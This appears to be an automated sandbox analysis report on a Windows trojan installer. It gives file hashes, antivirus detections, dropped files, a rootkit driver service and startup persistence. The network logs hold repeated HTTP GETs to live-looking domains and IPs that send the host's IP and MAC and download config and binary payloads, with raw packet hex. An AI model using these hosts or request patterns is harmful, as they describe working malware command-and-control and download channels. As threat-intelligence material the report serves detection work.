Analysis Date2015-09-17 02:35:31
MD54fb133c48ab2a9a1a90ce9e285e9c240
SHA1d532af5bac6cd5068eb8cda22e0acc98b06d4b3a

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 3afad699c41723c5c4bf5b966d770fcc sha1: ab90d368a2793949466e59609dec369d7d8fff30 size: 20480
Section.rdata md5: 12a871a30d1d7373e6adae6bd5981b58 sha1: 6c4a10dc9e5456db48f101ce172e7b4f1bb234bd size: 4096
Section.data md5: 4f9d7ad04db44919590e3f76923d3b8a sha1: 1463236c992dad7d90b00c1cf70488e57556aed3 size: 12288
Section.rsrc md5: bce814313f6b42b66dc8560f952ff466 sha1: 1c281e6b4fe58a06dbd595e37e2312379ef62f23 size: 28672
Timestamp2004-10-13 15:10:17
VersionLegalCopyright: 客户端安装
InternalName: 客户端安装
FileVersion: 15.4.16.1
CompanyName:
PrivateBuild:
LegalTrademarks: 客户端安装
Comments: 客户端安装程序
ProductName: 客户端安装
SpecialBuild:
ProductVersion: 15.4.16.1
FileDescription: 客户端安装程序
OriginalFilename: 客户端安装
PackerInstaller VISE Custom
PEhash4d37f0577e73f3415310abb86eda49346003bfdc
IMPhasha24e57cfb1e35030a9b4252bf1fa8b4b
AVRisingno_virus
AVCA (E-Trust Ino)no_virus
AVF-SecureDropped:Trojan.Generic.13155732
AVDr. WebTrojan.DownLoader11.51487:Win32.HLLM.Graz:Trojan.Siggen5.33435:Trojan.DownLoader12.9822:Trojan.Carberp.1621
AVClamAVWin.Trojan.Ascii.115_238_251_56-1
AVArcabit (arcavir)Dropped:Trojan.Generic.13155732_Gen:Trojan.Heur.JP.gmKfaGvDIXcj
AVBullGuardDropped:Trojan.Generic.13155732:Gen:Trojan.Heur.JP.gmKfaGvDIXcj
AVPadvishno_virus
AVVirusBlokAda (vba32)no_virus
AVCAT (quickheal)no_virus
AVTrend Microno_virus
AVKasperskyTrojan.Win32.Invader:Trojan.Win32.Generic:Trojan.Win32.Sfuzuan.xd:Trojan.Win32.Rofin.a
AVZillya!no_virus
AVEmsisoftDropped:Trojan.Generic.13155732:Gen:Trojan.Heur.JP.gmKfaGvDIXcj
AVIkarusTrojan.Win32.Agent:Trojan.Win32.Genome
AVFrisk (f-prot)no_virus
AVAuthentiumno_virus
AVMalwareBytesno_virus
AVMicroWorld (escan)Dropped:Trojan.Generic.13155732[ZP]
AVMicrosoft Security Essentialsno_virus
AVK7RootKit ( 0047d3cb1 )
AVBitDefenderDropped:Trojan.Generic.13155732:Gen:Trojan.Heur.JP.gmKfaGvDIXcj
AVFortinetW32/Sfuzuan.NXI!tr
AVSymantecno_virus
AVGrisoft (avg)no_virus
AVEset (nod32)Win32/Rootkit.Agent.NXI:Win32/Sfuzuan.I:Win32/Sfuzuan.M:Win32/TrojanDownloader.Agent.RFS:Win32/Agent.WYO
AVAlwil (avast)Agent-AQXL [Rtk]:Malware-gen:Rofin-B [Trj]:Win32:Malware-gen
AVAd-AwareDropped:Trojan.Generic.13155732:Gen:Trojan.Heur.JP.gmKfaGvDIXcj
AVTwisterTrojan.Agent.WYO.xnyf
AVAvira (antivir)Rkit/Agent.2028544
AVMcafeeno_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\_ir_sf7_temp_0\irsetup.exe
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\_ir_sf7_temp_0\irsetup.exe
Creates Process__IRAOFF:520716 "__IRAFN:C:\malware.exe"

Process
↳ __IRAOFF:520716 "__IRAFN:C:\malware.exe"

Creates FileC:\Program Files\BarClient\IeImgSnd.dll
Creates FileC:\Program Files\BarClient\UlSd.exe
Creates FileC:\Program Files\BarClient\mswinsock.dll
Creates FileC:\Program Files\BarClient\InstHook.dll
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\_ir_sf7_temp_0\32.ico
Creates FileC:\Program Files\BarClient\cnk_kx.dat
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\_ir_sf7_temp_0\irsetup.dat
Creates FilePIPE\wkssvc
Creates FileC:\Program Files\BarClient\UnPack.exe
Creates FileC:\Documents and Settings\All Users\Start Menu\Programs\Startup\MainProX.lnk
Creates FileC:\Program Files\BarClient\Drvstart.sys
Creates FileC:\Program Files\BarClient\MainProX.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\conhost.exe
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\_ir_sf7_temp_0\irsetup.dat
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\_ir_sf7_temp_0\32.ico
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\conhost.exe
Creates ProcessC:\Program Files\BarClient\MainProX.exe

Process
↳ C:\Program Files\BarClient\MainProX.exe

Creates FileC:\Program Files\BarClient\MainPro.exe
Creates FileC:\WINDOWS\System32\MainproCgf.dll
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\Jas1.tmp
Creates ProcessC:\Program Files\BarClient\MainPro.exe
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\Jas1.tmp
Creates Mutexmainx_0001
Creates MutexMainP_0ds3543
Creates MutexDBWinMutex

Process
↳ C:\Documents and Settings\Administrator\Local Settings\Temp\conhost.exe

Creates FileC:\WINDOWS\lsu\lsu.exe
Creates ProcessC:\WINDOWS\lsu\lsu.exe
Creates MutexYXW_MaJun_8351

Process
↳ C:\Program Files\BarClient\MainPro.exe

Process
↳ C:\Documents and Settings\Administrator\Local Settings\Temp\Jas1.tmp

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\Program Files\DVn79bb\log.dat
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Deletes FileC:\Program Files\DVn79bb\log.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates Mutexmainx_0002
Creates MutexAABDEIDF1
Winsock DNSdw.yefb.com
Winsock DNSini.egkj.com
Winsock DNSini.58qz.com

Process
↳ C:\WINDOWS\lsu\lsu.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FileSSDTProcess
Creates FileC:\WINDOWS\system32\drivers\HideSys.sys
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates ServiceEProcess - C:\WINDOWS\system32\drivers\HideSys.sys
Starts ServiceEProcess

Process
↳ C:\WINDOWS\system32\svchost.exe

Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint

Process
↳ Pid 800

Process
↳ Pid 848

Process
↳ C:\WINDOWS\System32\svchost.exe

Creates FileC:\WINDOWS\system32\WBEM\Logs\wbemess.log

Process
↳ Pid 1204

Process
↳ C:\WINDOWS\system32\spoolsv.exe

Process
↳ Pid 1868

Process
↳ Pid 1136

Process
↳ C:\WINDOWS\Explorer.EXE

Network Details:

DNSc06.i06.arnic.hadns.net
Type: A
125.88.65.249
DNSc06.i06.arnic.hadns.net
Type: A
183.57.148.246
DNS1st.mport.ourwebpic.com
Type: A
124.228.90.41
DNS1st.mport.ourwebpic.com
Type: A
218.5.238.175
DNS1st.mport.ourwebpic.com
Type: A
42.81.5.51
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.143
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.144
DNS1st.mport.ourwebpic.com
Type: A
116.55.236.46
DNS1st.mport.ourwebpic.com
Type: A
122.227.101.184
DNS1st.mport.ourwebpic.com
Type: A
122.227.101.184
DNS1st.mport.ourwebpic.com
Type: A
124.228.90.41
DNS1st.mport.ourwebpic.com
Type: A
218.5.238.175
DNS1st.mport.ourwebpic.com
Type: A
42.81.5.51
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.143
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.144
DNS1st.mport.ourwebpic.com
Type: A
116.55.236.46
DNSc06.i06.arnic.hadns.net
Type: A
183.57.148.246
DNSc06.i06.arnic.hadns.net
Type: A
125.88.65.249
DNS1st.mport.ourwebpic.com
Type: A
116.55.236.46
DNS1st.mport.ourwebpic.com
Type: A
122.227.101.184
DNS1st.mport.ourwebpic.com
Type: A
124.228.90.41
DNS1st.mport.ourwebpic.com
Type: A
218.5.238.175
DNS1st.mport.ourwebpic.com
Type: A
42.81.5.51
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.143
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.144
DNSdownini.com
Type: A
116.255.243.151
DNSinixz.com
Type: A
116.255.243.151
DNSc06.i06.arnic.hadns.net
Type: A
125.88.65.249
DNSc06.i06.arnic.hadns.net
Type: A
183.57.148.246
DNSinibin.com
Type: A
116.255.243.151
DNSbindown.com
Type: A
116.255.243.151
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.144
DNS1st.mport.ourwebpic.com
Type: A
116.55.236.46
DNS1st.mport.ourwebpic.com
Type: A
122.227.101.184
DNS1st.mport.ourwebpic.com
Type: A
124.228.90.41
DNS1st.mport.ourwebpic.com
Type: A
218.5.238.175
DNS1st.mport.ourwebpic.com
Type: A
42.81.5.51
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.143
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.143
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.144
DNS1st.mport.ourwebpic.com
Type: A
116.55.236.46
DNS1st.mport.ourwebpic.com
Type: A
122.227.101.184
DNS1st.mport.ourwebpic.com
Type: A
124.228.90.41
DNS1st.mport.ourwebpic.com
Type: A
218.5.238.175
DNS1st.mport.ourwebpic.com
Type: A
42.81.5.51
DNS1st.mport.ourwebpic.com
Type: A
42.81.5.51
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.143
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.144
DNS1st.mport.ourwebpic.com
Type: A
116.55.236.46
DNS1st.mport.ourwebpic.com
Type: A
122.227.101.184
DNS1st.mport.ourwebpic.com
Type: A
124.228.90.41
DNS1st.mport.ourwebpic.com
Type: A
218.5.238.175
DNS1st.mport.ourwebpic.com
Type: A
218.5.238.175
DNS1st.mport.ourwebpic.com
Type: A
42.81.5.51
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.143
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.144
DNS1st.mport.ourwebpic.com
Type: A
116.55.236.46
DNS1st.mport.ourwebpic.com
Type: A
122.227.101.184
DNS1st.mport.ourwebpic.com
Type: A
124.228.90.41
DNS1st.mport.ourwebpic.com
Type: A
124.228.90.41
DNS1st.mport.ourwebpic.com
Type: A
218.5.238.175
DNS1st.mport.ourwebpic.com
Type: A
42.81.5.51
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.143
DNS1st.mport.ourwebpic.com
Type: A
58.220.6.144
DNS1st.mport.ourwebpic.com
Type: A
116.55.236.46
DNS1st.mport.ourwebpic.com
Type: A
122.227.101.184
DNSini.58qz.com
Type: A
DNSplus.zzinfor.cn
Type: A
DNSplus.soomeng.com
Type: A
DNSini.egkj.com
Type: A
DNSplus.icafeads.com
Type: A
DNSbindowns.com
Type: A
DNSdw.yefb.com
Type: A
DNSinidowns.com
Type: A
DNSxzpzwj.com
Type: A
DNSxiazaiini.com
Type: A
DNSxiazaibin.com
Type: A
DNSinidown.com
Type: A
HTTP GEThttp://ini.58qz.com/58wangwei/anhui-000001.ini
User-Agent: MSDN Read
HTTP GEThttp://plus.zzinfor.cn/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://ini.egkj.com/58wangwei/anhui-000001.ini
User-Agent: MSDN Read
HTTP GEThttp://plus.icafeads.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://dw.yefb.com/58wangwei/anhui-000001.ini
User-Agent: MSDN Read
HTTP GEThttp://ini.58qz.com/58wangwei/anhui-000001.ini
User-Agent: MSDN Read
HTTP GEThttp://inibin.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://ini.egkj.com/58wangwei/anhui-000001.ini
User-Agent: MSDN Read
HTTP GEThttp://bindown.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://dw.yefb.com/58wangwei/anhui-000001.ini
User-Agent: MSDN Read
HTTP GEThttp://plus.soomeng.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://ini.58qz.com/58wangwei/anhui-000001.ini
User-Agent: MSDN Read
HTTP GEThttp://inibin.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://ini.egkj.com/58wangwei/anhui-000001.ini
User-Agent: MSDN Read
HTTP GEThttp://plus.zzinfor.cn/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://dw.yefb.com/58wangwei/anhui-000001.ini
User-Agent: MSDN Read
HTTP GEThttp://ini.58qz.com/58wangwei/anhui-000001.ini
User-Agent: MSDN Read
HTTP GEThttp://inibin.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/majun/ip2cfg/anjingwang.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
Flows TCP192.168.1.1:1032 ➝ 125.88.65.249:80
Flows TCP192.168.1.1:1033 ➝ 124.228.90.41:80
Flows TCP192.168.1.1:1034 ➝ 122.227.101.184:80
Flows TCP192.168.1.1:1035 ➝ 183.57.148.246:80
Flows TCP192.168.1.1:1036 ➝ 116.55.236.46:80
Flows TCP192.168.1.1:1037 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1038 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1039 ➝ 125.88.65.249:80
Flows TCP192.168.1.1:1040 ➝ 125.88.65.249:80
Flows TCP192.168.1.1:1041 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1042 ➝ 183.57.148.246:80
Flows TCP192.168.1.1:1043 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1044 ➝ 58.220.6.144:80
Flows TCP192.168.1.1:1045 ➝ 125.88.65.249:80
Flows TCP192.168.1.1:1046 ➝ 58.220.6.143:80
Flows TCP192.168.1.1:1047 ➝ 116.55.236.46:80
Flows TCP192.168.1.1:1048 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1049 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1050 ➝ 125.88.65.249:80
Flows TCP192.168.1.1:1051 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1052 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1053 ➝ 183.57.148.246:80
Flows TCP192.168.1.1:1054 ➝ 58.220.6.144:80
Flows TCP192.168.1.1:1055 ➝ 42.81.5.51:80
Flows TCP192.168.1.1:1056 ➝ 116.55.236.46:80
Flows TCP192.168.1.1:1057 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1058 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1059 ➝ 125.88.65.249:80
Flows TCP192.168.1.1:1060 ➝ 125.88.65.249:80
Flows TCP192.168.1.1:1061 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1062 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1063 ➝ 218.5.238.175:80
Flows TCP192.168.1.1:1064 ➝ 42.81.5.51:80
Flows TCP192.168.1.1:1065 ➝ 116.55.236.46:80
Flows TCP192.168.1.1:1066 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1067 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1068 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1069 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1070 ➝ 218.5.238.175:80
Flows TCP192.168.1.1:1071 ➝ 124.228.90.41:80
Flows TCP192.168.1.1:1072 ➝ 116.55.236.46:80
Flows TCP192.168.1.1:1073 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1074 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1075 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1076 ➝ 116.255.243.151:80

Raw Pcap
0x00000000 (00000)   47455420 2f353877 616e6777 65692f61   GET /58wangwei/a
0x00000010 (00016)   6e687569 2d303030 3030312e 696e6920   nhui-000001.ini 
0x00000020 (00032)   48545450 2f312e31 0d0a5573 65722d41   HTTP/1.1..User-A
0x00000030 (00048)   67656e74 3a204d53 444e2052 6561640d   gent: MSDN Read.
0x00000040 (00064)   0a486f73 743a2069 6e692e35 38717a2e   .Host: ini.58qz.
0x00000050 (00080)   636f6d0d 0a436163 68652d43 6f6e7472   com..Cache-Contr
0x00000060 (00096)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000070 (00112)                                         

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 7a7a696e   .Host: plus.zzin
0x00000100 (00256)   666f722e 636e0d0a 436f6e6e 65637469   for.cn..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a                         he....

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 736f6f6d   .Host: plus.soom
0x00000100 (00256)   656e672e 636f6d0d 0a436f6e 6e656374   eng.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a                       che....

0x00000000 (00000)   47455420 2f353877 616e6777 65692f61   GET /58wangwei/a
0x00000010 (00016)   6e687569 2d303030 3030312e 696e6920   nhui-000001.ini 
0x00000020 (00032)   48545450 2f312e31 0d0a5573 65722d41   HTTP/1.1..User-A
0x00000030 (00048)   67656e74 3a204d53 444e2052 6561640d   gent: MSDN Read.
0x00000040 (00064)   0a486f73 743a2069 6e692e65 676b6a2e   .Host: ini.egkj.
0x00000050 (00080)   636f6d0d 0a436163 68652d43 6f6e7472   com..Cache-Contr
